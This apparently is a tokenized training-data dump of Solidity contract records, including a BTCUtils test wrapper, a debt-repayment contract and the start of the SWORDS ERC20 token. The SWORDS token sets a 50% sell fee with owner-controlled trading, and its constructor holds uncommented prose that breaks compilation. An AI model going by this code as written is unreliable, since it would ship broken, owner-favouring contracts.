-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/82/0xe3660C8FEC2d41A99273C705A8F272C87Ad48f54/sources/contracts/PermitRouter.sol | performs chained getAmountIn calculations on any number of pairs | function getAmountsIn(uint256 amountOut)
external
view
returns (uint256[] memory amounts)
{
amounts = UniswapV2Library.getAmountsIn(pair, amountOut, path);
}
| 7,093,583 | [
1,
457,
9741,
20269,
24418,
382,
20882,
603,
1281,
1300,
434,
5574,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
24418,
87,
382,
12,
11890,
5034,
3844,
1182,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
5034,
8526,
3778,
30980,
13,
203,
565,
288,
203,
3639,
30980,
273,
1351,
291,
91,
438,
58,
22,
9313,
18,
588,
6275,
87,
382,
12,
6017,
16,
3844,
1182,
16,
589,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.5.10;
/** @title BitcoinSPV */
/** @author Summa (https://summa.one) */
import {BTCUtils} from "../BTCUtils.sol";
contract BTCUtilsTest {
/* ***** */
/* UTILS */
/* ***** */
/// @notice Determines the length of a VarInt in bytes
/// @dev A VarInt of >1 byte is prefixed with a flag indicating its length
/// @param _flag The first byte of a VarInt
/// @return The number of non-flag bytes in the VarInt
function determineVarIntDataLength(bytes memory _flag) public pure returns (uint8) {
return BTCUtils.determineVarIntDataLength(_flag);
}
/// @notice Parse a VarInt into its data length and the number it represents
/// @dev Useful for Parsing Vins and Vouts. Returns ERR_BAD_ARG if insufficient bytes.
/// Caller SHOULD explicitly handle this case (or bubble it up)
/// @param _b A byte-string starting with a VarInt
/// @return number of bytes in the encoding (not counting the tag), the encoded int
function parseVarInt(bytes memory _b) public pure returns (uint256, uint256) {
return BTCUtils.parseVarInt(_b);
}
/// @notice Changes the endianness of a byte array
/// @dev Returns a new, backwards, bytes
/// @param _b The bytes to reverse
/// @return The reversed bytes
function reverseEndianness(bytes memory _b) public pure returns (bytes memory) {
return BTCUtils.reverseEndianness(_b);
}
/// @notice Converts big-endian bytes to a uint
/// @dev Traverses the byte array and sums the bytes
/// @param _b The big-endian bytes-encoded integer
/// @return The integer representation
function bytesToUint(bytes memory _b) public pure returns (uint256) {
return BTCUtils.bytesToUint(_b);
}
/// @notice Get the last _num bytes from a byte array
/// @param _b The byte array to slice
/// @param _num The number of bytes to extract from the end
/// @return The last _num bytes of _b
function lastBytes(bytes memory _b, uint256 _num) public pure returns (bytes memory) {
return BTCUtils.lastBytes(_b, _num);
}
/// @notice Implements bitcoin's hash160 (rmd160(sha2()))
/// @dev abi.encodePacked changes the return to bytes instead of bytes32
/// @param _b The pre-image
/// @return The digest
function hash160(bytes memory _b) public pure returns (bytes memory) {
return BTCUtils.hash160(_b);
}
/// @notice Implements bitcoin's hash256 (double sha2)
/// @dev abi.encodePacked changes the return to bytes instead of bytes32
/// @param _b The pre-image
/// @return The digest
function hash256(bytes memory _b) public pure returns (bytes32) {
return BTCUtils.hash256(_b);
}
/* ************ */
/* Legacy Input */
/* ************ */
/// @notice Extracts the nth input from the vin (0-indexed)
/// @dev Iterates over the vin. If you need to extract several, write a custom function
/// @param _vin The vin as a tightly-packed byte array
/// @param _index The 0-indexed location of the input to extract
/// @return The input as a byte array
function extractInputAtIndex(bytes memory _vin, uint256 _index) public pure returns (bytes memory) {
return BTCUtils.extractInputAtIndex(_vin, _index);
}
/// @notice Determines whether an input is legacy
/// @dev False if no scriptSig, otherwise True
/// @param _input The input
/// @return True for legacy, False for witness
function isLegacyInput(bytes memory _input) public pure returns (bool) {
return BTCUtils.isLegacyInput(_input);
}
/// @notice Determines the length of an input from its scriptsig
/// @dev 36 for outpoint, 1 for scriptsig length, 4 for sequence
/// @param _input The input
/// @return The length of the input in bytes
function determineInputLength(bytes memory _input) public pure returns (uint256) {
return BTCUtils.determineInputLength(_input);
}
/// @notice Extracts the LE sequence bytes from an input
/// @dev Sequence is used for relative time locks
/// @param _input The LEGACY input
/// @return The sequence bytes (LE uint)
function extractSequenceLELegacy(bytes memory _input) public pure returns (bytes memory) {
return BTCUtils.extractSequenceLELegacy(_input);
}
/// @notice Extracts the sequence from the input
/// @dev Sequence is a 4-byte little-endian number
/// @param _input The LEGACY input
/// @return The sequence number (big-endian uint)
function extractSequenceLegacy(bytes memory _input) public pure returns (uint32) {
return BTCUtils.extractSequenceLegacy(_input);
}
/// @notice Extracts the length-prepended scriptSig from the input in a tx
/// @dev Will return hex"00" if passed a witness input
/// @param _input The LEGACY input
/// @return The length-prepended script sig
function extractScriptSig(bytes memory _input) public pure returns (bytes memory) {
return BTCUtils.extractScriptSig(_input);
}
/// @notice Determines the length of a scriptSig in an input
/// @dev Will return 0 if passed a witness input
/// @param _input The LEGACY input
/// @return The length of the script sig
function extractScriptSigLen(bytes memory _input) public pure returns (uint256, uint256) {
return BTCUtils.extractScriptSigLen(_input);
}
/* ************* */
/* Witness Input */
/* ************* */
/// @notice Extracts the LE sequence bytes from an input
/// @dev Sequence is used for relative time locks
/// @param _input The WITNESS input
/// @return The sequence bytes (LE uint)
function extractSequenceLEWitness(bytes memory _input) public pure returns (bytes memory) {
return BTCUtils.extractSequenceLEWitness(_input);
}
/// @notice Extracts the sequence from the input in a tx
/// @dev Sequence is a 4-byte little-endian number
/// @param _input The WITNESS input
/// @return The sequence number (big-endian uint)
function extractSequenceWitness(bytes memory _input) public pure returns (uint32) {
return BTCUtils.extractSequenceWitness(_input);
}
/// @notice Extracts the outpoint from the input in a tx
/// @dev 32 byte tx id with 4 byte index
/// @param _input The input
/// @return The outpoint (LE bytes of prev tx hash + LE bytes of prev tx index)
function extractOutpoint(bytes memory _input) public pure returns (bytes memory) {
return BTCUtils.extractOutpoint(_input);
}
/// @notice Extracts the outpoint tx id from an input
/// @dev 32 byte tx id
/// @param _input The input
/// @return The tx id (little-endian bytes)
function extractInputTxIdLE(bytes memory _input) public pure returns (bytes32) {
return BTCUtils.extractInputTxIdLE(_input);
}
/// @notice Extracts the LE tx input index from the input in a tx
/// @dev 4 byte tx index
/// @param _input The input
/// @return The tx index (little-endian bytes)
function extractTxIndexLE(bytes memory _input) public pure returns (bytes memory) {
return BTCUtils.extractTxIndexLE(_input);
}
/* ****** */
/* Output */
/* ****** */
/// @notice Determines the length of an output
/// @dev 5 types: WPKH, WSH, PKH, SH, and OP_RETURN
/// @param _output The output
/// @return The length indicated by the prefix, error if invalid length
function determineOutputLength(bytes memory _output) public pure returns (uint256) {
return BTCUtils.determineOutputLength(_output);
}
/// @notice Extracts the output at a given index in the TxIns vector
/// @dev Iterates over the vout. If you need to extract multiple, write a custom function
/// @param _vout The _vout to extract from
/// @param _index The 0-indexed location of the output to extract
/// @return The specified output
function extractOutputAtIndex(bytes memory _vout, uint256 _index) public pure returns (bytes memory) {
return BTCUtils.extractOutputAtIndex(_vout, _index);
}
/// @notice Extracts the value bytes from the output in a tx
/// @dev Value is an 8-byte little-endian number
/// @param _output The output
/// @return The output value as LE bytes
function extractValueLE(bytes memory _output) public pure returns (bytes memory) {
return BTCUtils.extractValueLE(_output);
}
/// @notice Extracts the value from the output in a tx
/// @dev Value is an 8-byte little-endian number
/// @param _output The output
/// @return The output value
function extractValue(bytes memory _output) public pure returns (uint64) {
return BTCUtils.extractValue(_output);
}
/// @notice Extracts the data from an op return output
/// @dev Returns hex"" if no data or not an op return
/// @param _output The output
/// @return Any data contained in the opreturn output, null if not an op return
function extractOpReturnData(bytes memory _output) public pure returns (bytes memory) {
return BTCUtils.extractOpReturnData(_output);
}
/// @notice Extracts the hash from the output script
/// @dev Determines type by the length prefix
/// @param _output The output
/// @return The hash committed to by the pk_script
function extractHash(bytes memory _output) public pure returns (bytes memory) {
return BTCUtils.extractHash(_output);
}
/* ********** */
/* Witness TX */
/* ********** */
/// @notice Checks that the vin passed up is properly formatted
/// @dev Consider a vin with a valid vout in its scriptsig
/// @param _vin Raw bytes length-prefixed input vector
/// @return True if it represents a validly formatted vin
function validateVin(bytes memory _vin) public pure returns (bool) {
return BTCUtils.validateVin(_vin);
}
/// @notice Checks that the vin passed up is properly formatted
/// @dev Consider a vin with a valid vout in its scriptsig
/// @param _vout Raw bytes length-prefixed output vector
/// @return True if it represents a validly formatted bout
function validateVout(bytes memory _vout) public pure returns (bool) {
return BTCUtils.validateVout(_vout);
}
/* ************ */
/* Block Header */
/* ************ */
/// @notice Extracts the transaction merkle root from a block header
/// @dev Use verifyHash256Merkle to verify proofs with this root
/// @param _header The header
/// @return The merkle root (little-endian)
function extractMerkleRootLE(bytes memory _header) public pure returns (bytes memory) {
return BTCUtils.extractMerkleRootLE(_header);
}
/// @notice Extracts the target from a block header
/// @dev Target is a 256 bit number encoded as a 3-byte mantissa and 1 byte exponent
/// @param _header The header
/// @return The target threshold
function extractTarget(bytes memory _header) public pure returns (uint256) {
return BTCUtils.extractTarget(_header);
}
/// @notice Calculate difficulty from the difficulty 1 target and current target
/// @dev Difficulty 1 is 0x1d00ffff on mainnet and testnet
/// @dev Difficulty 1 is a 256 bit number encoded as a 3-byte mantissa and 1 byte exponent
/// @param _target The current target
/// @return The block difficulty (bdiff)
function calculateDifficulty(uint256 _target) public pure returns (uint256) {
return BTCUtils.calculateDifficulty(_target);
}
/// @notice Extracts the previous block's hash from a block header
/// @dev Block headers do NOT include block number :(
/// @param _header The header
/// @return The previous block's hash (little-endian)
function extractPrevBlockLE(bytes memory _header) public pure returns (bytes memory) {
return BTCUtils.extractPrevBlockLE(_header);
}
/// @notice Extracts the timestamp from a block header
/// @dev Time is not 100% reliable
/// @param _header The header
/// @return The timestamp (little-endian bytes)
function extractTimestampLE(bytes memory _header) public pure returns (bytes memory) {
return BTCUtils.extractTimestampLE(_header);
}
/// @notice Extracts the timestamp from a block header
/// @dev Time is not 100% reliable
/// @param _header The header
/// @return The timestamp (uint)
function extractTimestamp(bytes memory _header) public pure returns (uint32) {
return BTCUtils.extractTimestamp(_header);
}
/// @notice Extracts the expected difficulty from a block header
/// @dev Does NOT verify the work
/// @param _header The header
/// @return The difficulty as an integer
function extractDifficulty(bytes memory _header) public pure returns (uint256) {
return BTCUtils.extractDifficulty(_header);
}
/// @notice Concatenates and hashes two inputs for merkle proving
/// @param _a The first hash
/// @param _b The second hash
/// @return The double-sha256 of the concatenated hashes
function _hash256MerkleStep(bytes memory _a, bytes memory _b) public pure returns (bytes32) {
return BTCUtils._hash256MerkleStep(_a, _b);
}
/// @notice Verifies a Bitcoin-style merkle tree
/// @dev Leaves are 0-indexed.
/// @param _proof The proof. Tightly packed LE sha256 hashes. The last hash is the root
/// @param _index The index of the leaf
/// @return true if the proof is valid, else false
function verifyHash256Merkle(bytes memory _proof, uint _index) public pure returns (bool) {
return BTCUtils.verifyHash256Merkle(_proof, _index);
}
/*
NB: https://github.com/bitcoin/bitcoin/blob/78dae8caccd82cfbfd76557f1fb7d7557c7b5edb/src/pow.cpp#L49-L72
NB: We get a full-bitlength target from this. For comparison with
header-encoded targets we need to mask it with the header target
e.g. (full & truncated) == truncated
*/
/// @notice performs the bitcoin difficulty retarget
/// @dev implements the Bitcoin algorithm precisely
/// @param _previousTarget the target of the previous period
/// @param _firstTimestamp the timestamp of the first block in the difficulty period
/// @param _secondTimestamp the timestamp of the last block in the difficulty period
/// @return the new period's target threshold
function retargetAlgorithm(
uint256 _previousTarget,
uint256 _firstTimestamp,
uint256 _secondTimestamp
) public pure returns (uint256) {
return BTCUtils.retargetAlgorithm(_previousTarget, _firstTimestamp, _secondTimestamp);
}
}
| @notice Extracts the nth input from the vin (0-indexed) @dev Iterates over the vin. If you need to extract several, write a custom function @param _vin The vin as a tightly-packed byte array @param _index The 0-indexed location of the input to extract @return The input as a byte array | function extractInputAtIndex(bytes memory _vin, uint256 _index) public pure returns (bytes memory) {
return BTCUtils.extractInputAtIndex(_vin, _index);
}
| 7,218,434 | [
1,
12809,
326,
20196,
810,
628,
326,
331,
267,
261,
20,
17,
19626,
13,
2868,
3016,
815,
1879,
326,
331,
267,
18,
971,
1846,
1608,
358,
2608,
11392,
16,
1045,
279,
1679,
445,
225,
389,
21529,
1377,
1021,
331,
267,
487,
279,
26066,
715,
17,
2920,
329,
1160,
526,
225,
389,
1615,
565,
1021,
374,
17,
19626,
2117,
434,
326,
810,
358,
2608,
327,
1850,
1021,
810,
487,
279,
1160,
526,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2608,
1210,
24499,
12,
3890,
3778,
389,
21529,
16,
2254,
5034,
389,
1615,
13,
1071,
16618,
1135,
261,
3890,
3778,
13,
288,
203,
3639,
327,
605,
15988,
1989,
18,
8004,
1210,
24499,
24899,
21529,
16,
389,
1615,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.18;
contract GiveTheMoneyBack {
address public owner; // creator of the contract
address public receiver; // person who owes money
address[] public backers; // people who back up the request
uint256 public nbBackers; // Number of persons who backed the requests.
uint256 public amount; // amount of wei owed
string public description; // why the money is owed
/* Generates a public event that notify clients when a new user backes the request */
event Backed(address backer);
/* Generates a public event that notify clients when the receiver has given the money back */
event MoneyGivenBack(uint256 amountToDistribute);
/**
* Constructor
*
* @param receiverAddress address of the one who owes ether
* @param etherAmount amount of ether owed
* @param explanation explanation of the request
*/
function GiveTheMoneyBack(address receiverAddress, uint256 etherAmount, string explanation) public {
owner = msg.sender;
receiver = receiverAddress;
amount = etherAmount * 10 ** 18; // converts the ether into wei. 1 ether = 10^18 wei
description = explanation;
backers.push(owner); // add the creator of the contract as a backer
nbBackers = 1;
}
/**
* Back up the request for money
*/
function backUp() public returns (bool) {
/*require(msg.sender == receiver);*/
if (msg.sender == receiver) {
return false;
}
for (uint i = 0; i < backers.length; i++) {
/*require(backers[index] != msg.sender);*/
if (msg.sender == backers[i]) {
return false;
}
}
backers.push(msg.sender);
nbBackers++;
Backed(msg.sender);
return true;
}
/**
* Allows the receiver to pay his or her debts.
*/
function payDebt() public payable returns (bool) {
if (msg.sender != receiver || msg.value != amount) {
return false;
}
uint nbBackers = backers.length;
uint256 amountToDistribute = amount / nbBackers;
for (uint index = 0; index < nbBackers; index++) {
backers[index].transfer(amountToDistribute);
}
MoneyGivenBack(amountToDistribute);
return true;
}
}
| people who back up the request
| address[] public backers; | 12,864,494 | [
1,
28035,
10354,
1473,
731,
326,
590,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
1758,
8526,
1071,
1473,
414,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xA534CB72BfFaBB95CB67c384583194d59ECa6a8B/sources/SWORDS.sol | Anti-bot and anti-whale mappings and variables exlcude from fees and max transaction amount store addresses that a automatic market maker pairs. Any transfer *to* these addresses could be subject to a maximum transfer amount | contract SWORDS is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public lpBurnEnabled = false;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20(unicode"⚔️", unicode"⚔️") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 25;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 50;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 0;
uint256 totalSupply = 1_000_000_000 * 1e18;
maxWallet = 20_000_000 * 1e18;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(msg.sender, totalSupply);
}
receive() external payable {}
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
